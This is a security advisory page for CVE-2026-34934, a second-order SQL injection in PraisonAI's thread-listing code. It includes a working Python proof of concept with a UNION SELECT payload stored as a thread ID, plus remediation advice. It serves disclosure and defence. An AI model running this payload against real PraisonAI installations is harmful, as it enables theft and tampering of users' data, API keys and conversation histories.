Python
CVE-2026-34934
CRITICAL
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.
---
Details
File Path: src/praisonai/praisonai/ui/sql_alchemy.py
Flow:
- Source (Line 539):
await data_layer.update_thread(thread_id=payload, user_id=user)- Hop (Line 547):
thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"- Sink (Line 576):
WHERE s."threadId" IN {thread_ids}---
Proof of Concept (PoC)
import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer
async def run_poc():
data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")
# Insert a valid thread
await data_layer.update_thread(
thread_id="valid_thread",
user_id="attacker"
)
# Inject malicious payload
payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"
await data_layer.update_thread(
thread_id=payload,
user_id="attacker"
)
# Trigger vulnerable function
result = await data_layer.get_all_user_threads(user_id="attacker")
for thread in result:
if getattr(thread, 'id', '') == 'valid_thread':
for step in getattr(thread, 'steps', []):
print(getattr(step, 'id', ''))
asyncio.run(run_poc())
# Expected Output:
# sqlite_master table names printed to console---
Impact
An attacker can achieve full database compromise, including:
- Exfiltration of sensitive data (user emails, session tokens, API keys)
- Access to all conversation histories
- Ability to modify or delete database contents
AnalysisAI
SQL injection in PraisonAI's thread listing function allows unauthenticated remote attackers to execute arbitrary SQL queries and achieve complete database compromise. The vulnerability exists in sql_alchemy.py where thread IDs stored via update_thread are concatenated into raw SQL queries using f-strings without sanitization. Attackers inject malicious SQL through thread_id parameters, which execute when get_all_user_threads loads the thread list. CVSS 9.8 (Critical) reflects network-accessible exploitation requiring no authentication or user interaction. No public exploit confirmed beyond the GitHub security advisory POC, though EPSS data unavailable. Immediate patching required for all PraisonAI Python package installations.
Technical ContextAI
This vulnerability affects the PraisonAI Python package (pkg:pip/praisonai), specifically the SQLAlchemyDataLayer class in src/praisonai/praisonai/ui/sql_alchemy.py. The flaw represents a classic second-order SQL injection (CWE-89) where malicious data is stored in one operation and exploited in another. The vulnerable code path begins at line 539 where update_thread accepts attacker-controlled thread_id values without validation. These values are persisted to the database, then retrieved and concatenated into a SQL IN clause at line 547 using Python string formatting: thread_ids = "('" + "','".join([t['thread_id'] for t in user_threads]) + "')". This concatenated string is embedded directly into a SQL WHERE clause at line 576 without parameterization. The vulnerability bypasses first-order SQL injection protections because the payload is stored during thread creation and triggers later during thread enumeration. SQLAlchemy's ORM protections are circumvented by using raw SQL construction instead of parameterized queries or ORM abstractions.
RemediationAI
Immediately upgrade PraisonAI to a patched version addressing GHSA-9cq8-3v94-434g per the GitHub security advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9cq8-3v94-434g. Monitor the advisory and associated GitHub repository at https://github.com/MervinPraison/PraisonAI for release announcements containing the fix. The upstream fix should replace raw SQL string concatenation with parameterized queries using SQLAlchemy's bound parameter syntax or ORM query builders. As an interim mitigation if patching is delayed, implement strict input validation on thread_id parameters to reject any values containing SQL metacharacters (quotes, parentheses, semicolons, SQL keywords). Consider temporarily disabling the get_all_user_threads functionality or restricting access to authenticated administrative users only if business requirements permit. Review database logs for suspicious thread_id patterns indicative of exploitation attempts, particularly entries containing UNION, SELECT, or comment delimiters. After patching, conduct a security audit of existing thread_id records to identify and remove potential stored payloads.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-89 – SQL Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-9cq8-3v94-434g